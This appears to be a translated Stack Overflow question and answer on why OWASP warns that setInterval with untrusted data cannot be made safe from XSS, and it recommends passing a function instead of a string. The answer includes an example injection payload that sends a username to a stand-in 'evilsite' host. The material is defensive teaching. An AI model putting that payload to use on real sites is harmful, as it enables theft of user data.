我正在浏览 OWASP Cross Site Scripting Prevent Cheat Sheet .在规则 #3 中它说:
Please note there are some JavaScript functions that can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!
<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
澄清:
- 我知道使用
setInterval
等。 您自己的内容是安全的。 - 我知道一个人必须验证、转义和/或净化外部内容。
我的理解是规则 #3 暗示攻击者可以绕过任何你能想到的 XSS 过滤器,如果你使用 setInterval
。
你有他们的意思的例子吗?使用 setInterval
永远无法避免哪种 XSS 攻击?
这里有一个类似的问题:.setinterval and XSS不幸的是,答案对我没有帮助。
最佳答案
先介绍一些背景:
转义以抵御 XSS 涉及添加合适的转义字符,以便流氓数据无法从您放置的任何地方逃脱并被评估为 JavaScript。
例如给定用户输入的 xss' + window.location = "http://evilsite/steal?username="+ encodeURLComponent(document.getElementById("user-widget").textContent) + '
/p>
如果您使用服务器端代码将其插入到字符串文字中:
const userinput = '<?php echo $_GET("userinput"); ?>'
你会得到:
const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`
然后 '
会从 JS 中的字符串文字中跳出,窃取用户名,并将其发送到攻击者的网站。 (还有比可能被盗的用户名更糟糕的事情。
转义是为了防止数据像这样脱离字符串文字:
const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`
因此攻击代码只是成为字符串的一部分,而不是作为原始代码评估。
将字符串传递给setInterval
(或setTimeout
、new Function
、eval
等)的问题是它们是设计用于评估代码的函数。
攻击者无需突破字符串文字即可执行其代码。它已经发生了。
My question is about understanding why setInterval can never be safe from XSS.
那不是你引用的警告所说的。它说它永远不能安全地使用不受信任的数据作为输入。如果您将自己的代码放在那里,那将是绝对安全的。当您评估某些用户输入时,您就会遇到问题。
将字符串传递给 setInterval
无论如何不是一个好主意。它很难调试,而且速度相对较慢。
改为传递一个函数。您甚至可以安全地使用用户输入(因为它没有被评估为代码,它只是一个带有字符串的变量)。
const userinput = "properly escaped user input";
setInterval(() => {
document.body.appendChild(
document.createTextNode(userinput)
);
}, 1000);
关于javascript - 为什么 setInterval 对 XSS 不安全?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/62872675/